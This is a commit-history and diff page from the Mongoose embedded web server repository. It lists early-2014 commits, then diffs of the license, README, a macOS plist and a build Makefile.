Sergey Lyubka 1d1a05bf39 Embedded net_skeleton 2014-02-19 16:38:53 +00:00
Sergey Lyubka 2009069037 merge 2014-02-19 16:36:27 +00:00
Sergey Lyubka 8f7703c2a9 moved to net_skeleton 2014-02-19 16:34:51 +00:00
Sergey Lyubka 8e87c4f013 Merge pull request #329 from abimaelmartell/fix/freebsd-compilation
fix compilation under FreeBSD
2014-02-14 23:46:07 +00:00
Abimael Martell 639a6dc2a8 fix compilation under FreeBSD 2014-02-14 13:21:14 -08:00
Sergey Lyubka cead9a04ca Typo fixed 2014-02-11 15:21:54 +00:00
Sergey Lyubka e528093027 Formatted example 2014-02-11 15:20:19 +00:00
Sergey Lyubka c432b783fb Formatted example 2014-02-11 15:19:18 +00:00
Sergey Lyubka e06976836f Typo fixed 2014-02-11 15:18:20 +00:00
Sergey Lyubka c9f7407573 More comments in example 2014-02-11 15:16:55 +00:00
Sergey Lyubka a40e59dbe6 URL corrected 2014-02-11 09:56:10 +00:00
Sergey Lyubka 61ee3d36d0 Merge pull request #324 from eichin/patch-1
doc typos
2014-02-11 09:55:47 +00:00
Mark Eichin 94dbf21ffb doc typos
just saw them while reading...
2014-02-11 03:41:09 -05:00
Sergey Lyubka 998425b14b Styling changes for hexdump 2014-02-10 10:21:57 +00:00
Sergey Lyubka 6900dd733a Merge pull request #322 from pavel-pimenov/master
Fix copy-paste for MONGOOSE_HEXDUMP feature
2014-02-10 09:48:26 +00:00
Pavel Pimenov 9e4cd054c8 Fix copy-paste for MONGOOSE_HEXDUMP feature 2014-02-10 12:00:51 +04:00
Sergey Lyubka 5dc317fcb0 Added -DMONGOOSE_HEXDUMP feature 2014-02-09 20:57:11 +00:00
Sergey Lyubka fbd5d77ce8 Added note about CGI env vars 2014-02-07 20:23:37 +00:00
Sergey Lyubka 6f8751b479 chat server is going to be in its own dir 2014-02-07 13:04:02 +00:00
Sergey Lyubka 877c4dc698 websocket example responses: 15 times -> 3 times 2014-02-07 13:03:28 +00:00
Sergey Lyubka 2dfc79129a better lua build 2014-02-07 13:03:11 +00:00
Sergey Lyubka 416f4bf10f Merge pull request #321 from pavel-pimenov/master
Add #ifndef MONGOOSE_NO_FILESYSTEM
2014-02-07 07:45:20 +00:00
Pavel Pimenov f9a99530ff Add #ifndef MONGOOSE_NO_FILESYSTEM 2014-02-07 11:02:12 +04:00
Sergey Lyubka 940b65e4db Merge pull request #320 from xant/upstream
added a new handler callback to be used when the http connection is being closed
2014-02-06 21:00:17 +00:00
Andrea Guzzo b22f7d3a49 added a new handler callback to be used when the http connection is being closed
so that in case of connections closed prematurely, the user can clear resources
eventually bound to the connection using the 'connection_param' member of the
mg_connection structure
2014-02-06 11:22:13 +01:00
Sergey Lyubka eaa0e26a85 Starting to rebuild chat example on Lua 2014-02-06 10:18:30 +00:00
Sergey Lyubka a3a63f7e56 Using mg_connection::callback_param for mg_iterate_over_connection() 2014-02-06 10:00:20 +00:00
Sergey Lyubka c9036f3ac0 Added workaround for non-compliant runtimes in alloc_vprintf() 2014-02-05 12:33:36 +00:00
Sergey Lyubka 60858d7fe5 NO_WEBSOCKET -> MONGOOSE_NO_WEBSOCKET 2014-02-04 19:57:00 +00:00
Sergey Lyubka 1c914bde1d Merge pull request #316 from To1ne/master
use `mg_set_request_handler`
2014-02-04 11:55:52 -08:00
Toon Claes a487332aa0 use mg_set_request_handler 2014-02-04 20:48:38 +01:00
Sergey Lyubka 3987d4d560 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-02-04 18:13:10 +00:00
Sergey Lyubka 8d3181e0bf examples/html -> examples/chat_html_root 2014-02-04 18:13:02 +00:00
Sergey Lyubka 0f1a59aeb4 Increased env buf size 4096 -> 8192. Passing TMPDIR to CGI. 2014-02-04 18:11:56 +00:00
Sergey Lyubka 2cdf259940 Merge pull request #315 from To1ne/patch-1
Correct return values: PROCESSED or CALL_AGAIN
2014-02-04 06:51:41 -08:00
Toon Claes 0187fe943a Correct return values: PROCESSED or CALL_AGAIN 2014-02-04 15:24:32 +01:00
Sergey Lyubka a34d1ec00a Better handling of MONGOOSE_NO_SOCKETPAIR 2014-02-04 14:04:54 +00:00
Sergey Lyubka e70d98b7b0 Added fixes for eCos 2014-02-04 09:59:53 +00:00
Sergey Lyubka bea012a3c1 Removed redundant addenv call 2014-02-04 08:06:49 +00:00
Sergey Lyubka eb2d470f65 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-02-03 17:54:46 +00:00
Sergey Lyubka 652c352394 Passing SERVER_NAME, TMP and TEMP env vars to CGI. 2014-02-03 17:54:31 +00:00
Sergey Lyubka f1b37b3101 Merge pull request #313 from xant/upstream
bugfix: set the correct status if we still have pending data
2014-02-03 04:52:10 -08:00
Sergey Lyubka 81b9876af8 5.2 -> 5.3 2014-02-01 16:53:09 +00:00
Sergey Lyubka 7010addadb NO_AUTH -> MONGOOSE_NO_AUTH 2014-02-01 15:17:13 +00:00
xant 9e118c8a31 bugfix: set the correct status if we still have pending data 2014-01-31 19:09:12 +01:00
Sergey Lyubka 2fc654ac35 page.lp -> dirscan.lp 2014-01-30 17:49:37 +00:00
Sergey Lyubka 45861c7890 Disabling options if functionality is not enabled 2014-01-30 14:54:02 +00:00
Sergey Lyubka 1957879e10 Casting to int in mg_sprintf() call in handle_cgi 2014-01-29 12:34:51 +00:00
Sergey Lyubka ddbe690698 CGI directory logic fixed 2014-01-29 11:42:14 +00:00
Sergey Lyubka 9ba1596c46 Closing connection after mg_send_digest_auth() 2014-01-29 01:24:21 +00:00
Sergey Lyubka de509ae952 Fix around pid_t for mingw, thanks to Jay 2014-01-28 20:09:12 +00:00
Sergey Lyubka 77817cd019 Squashed the warnings 2014-01-28 13:42:26 +00:00
Sergey Lyubka 7083bea56b mg_parse_header(): allowing no spaces for comma-separated list 2014-01-28 13:01:28 +00:00
Sergey Lyubka 3dffd7604a Removed warnings 2014-01-28 12:55:20 +00:00
Sergey Lyubka 5a67af0c73 Using 1 ms in mg_poll_server 2014-01-28 12:51:27 +00:00
Sergey Lyubka 14526a2109 mg_add_uri_handler -> mg_set_request_handler() 2014-01-28 12:42:13 +00:00
Sergey Lyubka a6cfbd2536 docs URL changed 2014-01-28 10:48:27 +00:00
Sergey Lyubka 0d28f99275 wrapped pid_t and S_ISDIR definitions into ifndef for mingw build 2014-01-27 11:12:43 +00:00
Sergey Lyubka a281e99661 calling auth handler wrapped in MONGOOSE_NO_AUTH 2014-01-27 11:10:46 +00:00
Sergey Lyubka 170df7b676 local and remote port made unsigned short 2014-01-27 11:08:32 +00:00
Sergey Lyubka 3fa5c69f98 Fixed handle_delete() stat call 2014-01-27 11:06:05 +00:00
Sergey Lyubka e31f3058fa Added test for rewrites 2014-01-27 11:03:44 +00:00
Sergey Lyubka 83a9a726d3 Checking path existence 2014-01-26 11:24:24 +00:00
Sergey Lyubka 8ae0400b0d Added ability to set "0" as listening port. Exported local_ip and local_port to the client. 2014-01-25 13:50:57 +00:00
Sergey Lyubka 037fdbcccb Ignoring chdir() return value. Resetting mg_conn in close_local_endpoint() 2014-01-25 09:45:47 +00:00
Sergey Lyubka 5d2ac4e0a6 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-01-24 20:50:21 +00:00
Sergey Lyubka f977757a9d Added mg_set_auth_handler() 2014-01-24 20:49:57 +00:00
Sergey Lyubka 1db13aeed5 Merge pull request #304 from xant/master
allow to define a default mime-type
2014-01-24 09:51:51 -08:00
Andrea Guzzo 956788d7de changed mg_get_mime_type to expect the default type as argument
instead of using a configuration option
2014-01-24 15:56:21 +01:00
Andrea Guzzo 45f6612096 allow to define a default mime-type to use when lookup in the internal table fails
instead of always returning 'text/plain'

To allow setting a different default mime-type the mg_get_mime_type() api has been
extended to require an mg_server parameter.

Note that using a static global as default mime type wouldn't have allowed us to
control it via a configuration option because there is not global initialization phase
and configuration options are provided (and specific) to each server instance.
This means that different servers can be configured to use a different default mime-type
(which is also a desired behaviour in many scenarios) when lookup fails.
2014-01-24 14:45:19 +01:00
Sergey Lyubka 2392156fd4 Not exiting on a wrong option, best effort to recover 2014-01-23 20:57:27 +00:00
Sergey Lyubka cf1811f8c3 Added build instruction for windows 2014-01-23 12:00:40 +00:00
Sergey Lyubka 93c5335d80 USE_POST_SIZE_LIMIT -> MONGOOSE_USE_POST_SIZE_LIMIT, and unit test added 2014-01-23 11:24:00 +00:00
Sergey Lyubka 192205b10b Added 2014-01-23 10:36:08 +00:00
Sergey Lyubka 0377eea9c5 Added enum for callback return codes 2014-01-22 18:25:05 +00:00
Sergey Lyubka ad89868564 Moved must_hide_file to under #ifndef MONGOOSE_NO_FILESYSTEM 2014-01-22 18:24:28 +00:00
Sergey Lyubka 976f286134 Made mg_connection::content_len int -> size_t, which is 64-bit on 64-bit systems 2014-01-20 20:57:21 +00:00
Sergey Lyubka 503a1a749d Added unit test for MONGOOSE_USE_SSL 2014-01-20 20:50:30 +00:00
Sergey Lyubka 45a4266172 more examples added 2014-01-20 11:21:35 +00:00
Sergey Lyubka 2ea17e8c6d Adjusted docs and makefile to use correct preproc flags 2014-01-20 11:17:09 +00:00
Sergey Lyubka 67b7d79710 Removed comment about MONGOOSE_USE_STACK_SIZE 2014-01-20 11:10:30 +00:00
Sergey Lyubka 2e35e25935 ENABLE_DBG -> MONGOOSE_ENABLE_DEBUG, USE_STACK_SIZE -> MONGOOSE_USE_STACK_SIZE 2014-01-20 11:04:12 +00:00
Sergey Lyubka d86d409d3c Preprocessor definitions prefixed by MONGOOSE_ 2014-01-20 10:54:15 +00:00
Sergey Lyubka 1109d3aa3c Guarded #define EINPROGRESS 2014-01-20 09:02:57 +00:00
Sergey Lyubka 8208d9e250 Fixed -DUSE_SSL build 2014-01-20 09:01:16 +00:00
Sergey Lyubka fdd086b11c moved discard_leading_iobuf_bytes() out from conditional 2014-01-20 08:55:34 +00:00
Sergey Lyubka 5825e3ea74 Adding use_ssl to mg_connect() 2014-01-20 08:55:03 +00:00
Sergey Lyubka 061ba99124 Using vnotify() for die() 2014-01-20 08:54:06 +00:00
Sergey Lyubka ead098f726 Setting server_name 2014-01-19 17:01:43 +00:00
Sergey Lyubka 7a129c17ba Added http client with unit tests 2014-01-19 16:32:43 +00:00
Sergey Lyubka 400084ea8a read_from_client -> read_from_socket 2014-01-17 16:58:19 +00:00
Sergey Lyubka 82ad9a073a Calling long running connections regardless of select() status 2014-01-17 16:37:35 +00:00
Sergey Lyubka 22aea8acac Better comment for websocket example 2014-01-17 16:37:05 +00:00
Sergey Lyubka 40e5c744da Calling long-running URI handlers on each poll iteration 2014-01-17 15:49:16 +00:00
Sergey Lyubka e648681f1d Moved mg_connect() 2014-01-17 15:42:35 +00:00
Sergey Lyubka 02f19fc05a Using mg_handler_t for iterate_over_connections() 2014-01-17 11:45:57 +00:00
Sergey Lyubka 7690f9e34b Fixed websocket example, and websocket callback calling logic. 2014-01-17 10:17:15 +00:00
Sergey Lyubka 65c1278975 win32 build of server.c fixed 2014-01-16 14:40:26 +00:00
Sergey Lyubka 05e1135940 Added stand-alone console executable 2014-01-16 13:53:18 +00:00
Sergey Lyubka 7b6e8fb93c Moved idle_timeout_ms into compile-time option 2014-01-16 13:23:23 +00:00
Sergey Lyubka 9f1679e900 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-01-15 18:05:43 +00:00
Sergey Lyubka c0af018e20 removed build dir 2014-01-15 18:02:55 +00:00
Sergey Lyubka d553ae992a Unit test moved to top 2014-01-15 17:55:39 +00:00
Sergey Lyubka 89ef8f2f30 Removed method checks for CGI 2014-01-15 11:46:05 +00:00
Sergey Lyubka 9115a99f47 Fixed scanf format in parse_port_string() 2014-01-15 11:06:37 +00:00
Sergey Lyubka bbc65c7987 put_deleve_auth_file -> dav_auth_file. added placeholders for user 2014-01-15 07:57:59 +00:00
Sergey Lyubka bac0f75dd6 int sock -> sock_t sock 2014-01-15 07:10:09 +00:00
Sergey Lyubka 6440c358c1 C++ friendliness fix 2014-01-14 23:20:23 +00:00
Sergey Lyubka 6f84c8bbfb Using unicode API for service creation 2014-01-14 21:05:35 +00:00
Sergey Lyubka 0adbfcba96 Moved send_options out of NO_DAV conditional 2014-01-14 19:28:29 +00:00
Sergey Lyubka 136c3e8200 Eat prior POST data in close_local_endpoint() 2014-01-14 13:57:55 +00:00
Sergey Lyubka 7d699ea73c Added URI handler return value 2014-01-14 13:27:00 +00:00
Sergey Lyubka fc37b08139 URI handler status code drives streaming behavior 2014-01-14 13:16:58 +00:00
Sergey Lyubka 3aaf47d4e4 Return 1 from the URI handler 2014-01-14 12:50:13 +00:00
Sergey Lyubka 346179d1f1 keep-alive for all EP_USER requests 2014-01-14 00:44:27 +00:00
Sergey Lyubka 0148bc804a Added NO_THREADS wrapper 2014-01-13 21:35:45 +00:00
Sergey Lyubka 472e198d4a Fixed mg_parse_header to allow NULL strings 2014-01-13 21:31:18 +00:00
Sergey Lyubka bf6fc3262f Added test for static config opts 2014-01-13 21:08:03 +00:00
Sergey Lyubka 53311e8d6b removed ssi tests 2014-01-13 20:39:22 +00:00
Sergey Lyubka cc636197bc Added auth example 2014-01-13 17:58:14 +00:00
Sergey Lyubka 6b4f7e785d Added upload example 2014-01-13 17:01:11 +00:00
Sergey Lyubka 73ed83c5e3 Added mg_parse_multipart 2014-01-13 16:29:12 +00:00
Sergey Lyubka 56f128514e Implemented mg_set_http_error_handler() 2014-01-13 12:17:47 +00:00
Sergey Lyubka f0571f9fd6 Using mg.request_info.content 2014-01-13 10:58:14 +00:00
Sergey Lyubka a3663da90e Exposed mg_send_digest_auth_request(). Exported conn->content to Lua 2014-01-13 10:50:26 +00:00
Sergey Lyubka f74a1e1dc2 Fixed start_process on windows to use correct interpreter 2014-01-12 07:20:53 +00:00
Sergey Lyubka 74511b42f5 Using unicode winapi to load config file 2014-01-12 07:20:12 +00:00
Sergey Lyubka 04862eec85 Added wp target 2014-01-12 07:18:29 +00:00
Sergey Lyubka 4d105386ca Better handling of non-ascii chars for windows CGIs 2014-01-11 23:17:17 +00:00
Sergey Lyubka 44a35bb5bf Removed debug statement 2014-01-11 23:15:02 +00:00
Sergey Lyubka 022c9f0d47 Handling non-ascii chars in the binary 2014-01-11 21:32:05 +00:00
Sergey Lyubka e38061970e Exposed mg_authorize_digest() 2014-01-11 16:44:37 +00:00
Sergey Lyubka a4e8dc3069 Sending status 200 to CGI by default 2014-01-11 16:18:59 +00:00
Sergey Lyubka fa4179ee53 Made clean silent 2014-01-11 16:18:29 +00:00
Sergey Lyubka a8c8cfb665 fix non-initialized comparison 2014-01-11 10:09:26 +00:00
Sergey Lyubka e0b6109214 Added -DNO_FILESYSTEM 2014-01-11 09:48:27 +00:00
Sergey Lyubka d29f849602 Fixed optional build test 2014-01-11 09:48:13 +00:00
Sergey Lyubka 848c5d753e Fixed logic for get_url_to_me 2014-01-11 03:19:46 +00:00
Sergey Lyubka 4eef5b14fb Added comment to https://github.com/cesanta/mongoose/pull/287 2014-01-10 22:48:47 +00:00
Sergey Lyubka 283af71bbf Merge pull request #287 from oli-obk/fix/last_send_data_before_shutdown
mg_printf_data was ignored if mg_destroy_server was called directly afte...
2014-01-10 14:47:00 -08:00
Sergey Lyubka ff85b802c3 Using case-insensitive string comparison for connection: keep-alive 2014-01-10 22:46:03 +00:00
Sergey Lyubka e2b42e4117 Using case-insensitive string comparison for connection: keep-alive 2014-01-10 22:43:52 +00:00
Sergey Lyubka 63909b59c5 Added __cdecl to SSL decls to make sure correct linkage with OpenSSL which is cdecl 2014-01-10 22:41:36 +00:00
Sergey Lyubka 7380c65265 5.1 -> 5.2 2014-01-10 22:37:26 +00:00
Sergey Lyubka e9316a4feb CGI fixes 2014-01-10 21:59:37 +00:00
Oliver Schneider 2ac231cb7e mg_printf_data was ignored if mg_destroy_server was called directly after 2014-01-10 18:38:18 +01:00
Sergey Lyubka a741d53028 Fixed leak for server creation/destroy 2014-01-10 11:23:29 +00:00
Sergey Lyubka 9ea7b6f8ae Removed unnecessary buffer initializer 2014-01-10 11:11:26 +00:00
Sergey Lyubka 580d3da3c7 Using unicode winapi for stat(), fopen(), open() 2014-01-10 11:03:38 +00:00
Sergey Lyubka aa59dda966 wrapped read_from_cgi() into NO_CGI 2014-01-09 17:50:57 +00:00
Sergey Lyubka 47b92e4145 Added string defs for 301 and 302 codes in status_code_to_str() 2014-01-09 17:24:20 +00:00
Sergey Lyubka fa351959a0 5.0 -> 5.1 2014-01-09 14:08:50 +00:00
Sergey Lyubka 1414e2a236 Documented rewrites for HTTP errors 2014-01-09 12:47:29 +00:00
Sergey Lyubka 5fb275e146 Added URL rewrites for HTTP errors, to allow for error pages. 2014-01-09 12:36:25 +00:00
Sergey Lyubka 9390c66b48 Moved next_option() to the rest of string functions 2014-01-09 12:34:50 +00:00
Sergey Lyubka 2f69ca37d3 Better CGI error diagnostic for UNIX 2014-01-09 10:53:25 +00:00
Sergey Lyubka 4cd11de400 Ping only websocket connections 2014-01-09 10:37:17 +00:00
Sergey Lyubka 15a2639355 Added better diagnostic to send_http_error() 2014-01-09 10:35:43 +00:00
Sergey Lyubka c20f26dbb9 removed mg_fmt() 2014-01-09 09:58:19 +00:00
Sergey Lyubka cae797cf04 Merge branch 'master' of https://github.com/cesanta/mongoose 2014-01-09 09:37:35 +00:00
Sergey Lyubka 0d885add0e Fixed put_dir() 2014-01-09 09:36:58 +00:00
Sergey Lyubka 842231cc5c GetFullPathNameA -> GetFullPathName 2014-01-08 18:20:13 +00:00
Sergey Lyubka dc55a3ae40 Added #undef UNICODE in mongoose.c to force ANSI Win32 functions 2014-01-08 18:10:15 +00:00
Sergey Lyubka 4d85cc6c76 Removed -Wno-empty-translation-unit from unix CFLAGS :-) 2014-01-08 09:27:16 +00:00
Sergey Lyubka 8ac1b40c11 Added -Wno-empty-translation-unit to the unix CFLAGS 2014-01-08 09:19:56 +00:00
Sergey Lyubka 238b43af84 Squashed warnings for gcc 4.6.3 2014-01-08 09:16:36 +00:00
Sergey Lyubka 12c8e99bd5 Removed error_log_file from tests config 2014-01-07 14:57:08 +00:00
EC2 Default User 5f2f359bd6 Squashed warning under gcc 4.6.3 2014-01-07 14:53:48 +00:00
Sergey Lyubka ccf0ce4a1f Using chunked API in post.c example 2014-01-07 09:28:20 +00:00
Sergey Lyubka 134a5b7b9e Using chunked API in multi-threaded example 2014-01-07 09:24:48 +00:00
Sergey Lyubka d39daab29e Updated docs 2014-01-07 09:12:17 +00:00
Sergey Lyubka a798b1a937 Updated docs 2014-01-07 09:10:58 +00:00
Sergey Lyubka 04de3bb2f9 Updated docs 2014-01-07 09:05:34 +00:00
183 changed files with 14800 additions and 38541 deletions

No files matched your search

+6 -6
View File
@@ -1,16 +1,16 @@
Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com> Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
Copyright (c) 2013 Cesanta Software Limited Copyright (c) 2013-2015 Cesanta Software Limited
All rights reserved All rights reserved
This code is dual-licensed: you can redistribute it and/or modify This software is dual-licensed: you can redistribute it and/or modify
it under the terms of the GNU General Public License version 2 as it under the terms of the GNU General Public License version 2 as
published by the Free Software Foundation. For the terms of this published by the Free Software Foundation. For the terms of this
license, see http://www.gnu.org/licenses. license, see <http://www.gnu.org/licenses/>.
You are free to use this code under the terms of the GNU General You are free to use this software under the terms of the GNU General
Public License, but WITHOUT ANY WARRANTY; without even the implied Public License, but WITHOUT ANY WARRANTY; without even the implied
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details. See the GNU General Public License for more details.
Alternatively, you can license this code under a commercial Alternatively, you can license this software under a commercial
license, as set out in http://cesanta.com/products.html. license, as set out in <https://www.cesanta.com/license>.
+90 -49
View File
@@ -1,60 +1,101 @@
# Mongoose Web Server # <img src="http://www.cesanta.com/hubfs/www.cesanta.com/Images/mongoose_library.png" width="64" height="64"> Mongoose - Embedded Web Server
[![Join the chat at https://gitter.im/cesanta/mongoose](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/cesanta/mongoose?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
![](https://img.shields.io/badge/license-GPL_2-green.svg "License")
Mongoose is ideal for embedded environments, it has been designed as an open
source platform for connecting devices and bringing them online.
[Mongoose](https://www.cesanta.com/products)
has been on the market since 2004 and attracted
over 1 million cumulative downloads.
It provides easy to use event-driven interface that allows to implement
network protocols or scalable network applications with little effort.
Mongoose helps developers to manage the complexity of network programming
and let them concentrate on the logic, saving time and money.
[Download Mongoose Source Code here](http://hubs.ly/H0150FK0)
> Nothing overdone. Nothing less. So unbelievably easy to use.
> Just how good software should be!
> - Pritin Tyagaraj, SAP
Mongoose is easy to use, powerful, embeddable web server.
* [Downloads](http://cesanta.com/#downloads)
* [Documentation](http://cesanta.com/#docs,Usage.md)
* [Mailing list](http://groups.google.com/group/mongoose-users)
# Features # Features
- Works on Windows, Mac, UNIX/Linux, iPhone, Android, and many other platforms * Cross-platform: works on Linux/UNIX, QNX, eCos, Windows, Android, iPhone, etc
- CGI, SSL, Digest auth, Websocket, WEbDAV, Resumed download, URL rewrite, file blacklist, IP-based ACL, Windows service * Single-threaded, asynchronous, non-blocking core with simple event-based API
- Scripting and database support ([Lua](http://lua.org) + * Builtin protocols:
[Sqlite](http://sqlite.org), see - plain TCP, plain UDP, SSL/TLS (over TCP, one-way or two-way)
[page.lp](https://github.com/cesanta/mongoose/blob/master/build/test/page.lp) ), - HTTP client, HTTP server
which provides ready to go, powerful web development platform in - Websocket client, Websocket server
one single-click executable with no dependencies - JSON-RPC client, JSON-RPC server
- Simple and clean - MQTT client, MQTT broker
[embedding API](https://github.com/cesanta/mongoose/blob/master/mongoose.h). - CoAP client, CoAP server
The source is in single - DNS client, DNS server, async DNS resolver
[mongoose.c](https://github.com/cesanta/mongoose/blob/master/mongoose.c) file * Tiny static and run-time footprint
to make embedding easy * Source code is both ISO C and ISO C++ compliant
- Extremely lightweight, has a core of under 40kB and tiny runtime footprint * Very easy to integrate: just copy
- Asyncronouns, non-blocking core supporting single- or multi-threaded usage [mongoose.c](https://raw.githubusercontent.com/cesanta/mongoose/master/mongoose.c) and
- On the market since 2004, stable, mature and tested, [mongoose.h](https://raw.githubusercontent.com/cesanta/mongoose/master/mongoose.h)
has several man-years invested in continuous improvement and refinement files to your build tree
- Professional support and consultancy available from * Extensively tested and production-ready, trusted by many blue chip businesses
[Cesanta Software](http://cesanta.com), developer of Mongoose
# Acknowledgements # Examples & Documentation
Mongoose made better thanks to the contribution of following people: - [User Guide](https://docs.cesanta.com/mongoose) - Detailed User Guide and API reference
- [examples](examples) - Collection of well-commented examples. To build any example,
go into respective directory and type `make`
# Dashboard Example
Mongoose is often used to implement device dashboards and real-time
data exchange over Websocket. Here is a dashboard example that illustrates
the functionality:
![](http://www.cesanta.com/hubfs/www.cesanta.com/diagrams/dash_mongoose_diagram.png)
[Developing a new product? Contact us today to discuss how Mongoose can help
](https://www.cesanta.com/contact)
Arnout Vandecappelle, Benoît Amiaux, Boris Pek, Cody Hanson, Colin Leitner,
Daniel Oaks, Eric Bakan, Erik Oomen, Filipp Kovalev, Ger Hobbelt,
Hendrik Polczynski, Igor Okulist, Jay, Joe Mucchiello, John Safranek,
José Miguel Gonçalves, Shueng Chuan, Katerina Blinova, Konstantin Sorokin,
Marin Atanasov, Matt Healy, Mitch Hendrickson, Nigel Stewart, Pavel Khlebovich,
Sebastian Reinhard, Stefan Doehla, abadc0de, nullable.type,
T.Barmann, D.Hughes, J.C.Sloan, R.Romeo, L.E.Spencer, S.Kotay, R.M.Shorter,
W.Mar, J.Wilander, Santa from Memphis, S.Davies, C.Beck,
O.M.Vilhunen, C.Radik, G.Woodcock, M.Szczepkowski,
Eternal Lands Dev Team, T.Tollet, C.Tangerino, G.Karsai, A.Bourgett,
C.Blakemore, D.Fonaryov, T.Andrle, O.IJsselmuiden, R.Womack, M.Tomlinson,
A.Slåttå, L.Farrell, J.D.P.Ballestero, V.Albaev, B.Harker, T.Scheffel, H.Klein,
R.Merit, T.Bennett, H.Solis, A.Zincenko, M.S., S.Krul, K.Cooke, S.McCallum,
F.Morenius, and 10 others.
# Licensing # Licensing
Mongoose is released under You are using Mongoose under
[GNU GPL v.2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html). [GPLv2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html)
Businesses have an option to get non-restrictive, royalty-free commercial and until you commercialize your
license and professional support from application, can continue to use Mongoose free of charge.
[Cesanta Software](http://cesanta.com).
[Frozen JSON parser](https://github.com/cesanta/frozen), Once you commercialize your product, in order to comply with GPLv2
[Super Light Regular Expression library](https://github.com/cesanta/slre), you need to either open the source code of your product fully or
[Super Light DNS Resolver](https://github.com/cesanta/sldr) alternatively purchase a commercial license.
are other projects by Cesanta Software, developed with the same philosophy We offer [three levels of commercial licensing](https://www.cesanta.com/products):
of functionality and simplicity.
- Mongoose Lite: cross platform integration, SSL/TLS, HTTP support
- Mongoose: Mongoose Lite + HTTP CGI, HTTP SSI, HTTP Digest Auth,
WebSocket support
- Mongoose Premium: Mongoose + Plain TCP, UDP, JSON-RPC, MQTT, DNS,
CoAP support
[Enquire about commercial licensing here](https://www.cesanta.com/contact)
# Mongoose Binary
This is our easy to use web server for web developers (PHP, Ruby, Python, etc)
and web designers. Available in three editions to suit your needs: free, pro
(USD 5) and dev edition (from USD 8). To install, simply download, double-click
to start and run browser - that's all!
[Download Mongoose Binary here](https://www.cesanta.com/mongoose)
# Other products by Cesanta
- [Smart.js](https://github.com/cesanta/smart.js) -
Generic, hardware independent, full-stack IoT software platform
- [V7](https://github.com/cesanta/v7) - Embedded JavaScript engine
- [Frozen](https://github.com/cesanta/frozen) - JSON parser and generator
- [SLRE](https://github.com/cesanta/slre) - Super Light Regular Expression
library
-15
View File
@@ -1,15 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key> <string>Mongoose</string>
<key>CFBundlePackageType</key> <string>APPL</string>
<key>CFBundleTypeRole</key> <string>None</string>
<key>CFBundleIconFile</key> <string>mongoose.icns</string>
<key>LSUIElement</key> <true/>
<key>RunAtLoad</key> <true/>
<key>Label</key> <string>com.kolkin.mongoose</string>
<key>ProgramArguments</key> <array> </array>
<key>KeepAlive</key> <true/>
</dict>
</plist>
-165
View File
@@ -1,165 +0,0 @@
# This Makefile is part of Mongoose web server project,
# https://github.com/valenok/mongoose
#
# This Makefile is GNU make compatible. You can get GNU Make from
# http://gnuwin32.sourceforge.net/packages/make.htm
PROG = mongoose
EXE_SUFFIX =
CFLAGS = -std=c99 -O2 -W -Wall -pedantic -pthread -pipe -I. -I.. $(CFLAGS_EXTRA)
VERSION = $(shell perl -lne \
'print $$1 if /define\s+MONGOOSE_VERSION\s+"(\S+)"/' ../mongoose.h)
VDIR = mongoose-$(VERSION)
# Stock windows binary builds with Lua and YASSL library.
YASSL = ../../cyassl-2.4.6
YASSL_FLAGS = -I $(YASSL) -I $(YASSL)/cyassl \
-D _LIB -D OPENSSL_EXTRA -D HAVE_ERRNO_H \
-D HAVE_GETHOSTBYNAME -D HAVE_INET_NTOA -D HAVE_LIMITS_H \
-D HAVE_MEMSET -D HAVE_SOCKET -D HAVE_STDDEF_H -D HAVE_STDLIB_H \
-D HAVE_STRING_H -D HAVE_SYS_STAT_H -D HAVE_SYS_TYPES_H
YASSL_SOURCES = \
$(YASSL)/src/internal.c $(YASSL)/src/io.c $(YASSL)/src/keys.c \
$(YASSL)/src/ssl.c $(YASSL)/src/tls.c $(YASSL)/ctaocrypt/src/hmac.c \
$(YASSL)/ctaocrypt/src/random.c $(YASSL)/ctaocrypt/src/sha.c \
$(YASSL)/ctaocrypt/src/sha256.c $(YASSL)/ctaocrypt/src/logging.c \
$(YASSL)/ctaocrypt/src/error.c $(YASSL)/ctaocrypt/src/rsa.c \
$(YASSL)/ctaocrypt/src/des3.c $(YASSL)/ctaocrypt/src/asn.c \
$(YASSL)/ctaocrypt/src/coding.c $(YASSL)/ctaocrypt/src/arc4.c \
$(YASSL)/ctaocrypt/src/md4.c $(YASSL)/ctaocrypt/src/md5.c \
$(YASSL)/ctaocrypt/src/dh.c $(YASSL)/ctaocrypt/src/dsa.c \
$(YASSL)/ctaocrypt/src/pwdbased.c $(YASSL)/ctaocrypt/src/aes.c \
$(YASSL)/ctaocrypt/src/md2.c $(YASSL)/ctaocrypt/src/ripemd.c \
$(YASSL)/ctaocrypt/src/sha512.c $(YASSL)/src/sniffer.c \
$(YASSL)/ctaocrypt/src/rabbit.c $(YASSL)/ctaocrypt/src/misc.c \
$(YASSL)/ctaocrypt/src/tfm.c $(YASSL)/ctaocrypt/src/integer.c \
$(YASSL)/ctaocrypt/src/ecc.c $(YASSL)/src/ocsp.c $(YASSL)/src/crl.c \
$(YASSL)/ctaocrypt/src/hc128.c $(YASSL)/ctaocrypt/src/memory.c
TINY_SOURCES = ../mongoose.c main.c
LUA_SOURCES = $(TINY_SOURCES) lua_5.2.1.c
LUA_SQLITE_SOURCES = $(LUA_SOURCES) sqlite3.c lsqlite3.c
BIG_SOURCES = $(TINY_SOURCES) lua_5.2.1.c sqlite3.c lsqlite3.c $(YASSL_SOURCES)
SQLITE_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \
-DSQLITE_ENABLE_FTS3_PARENTHESIS
LUA_FLAGS = -DUSE_LUA
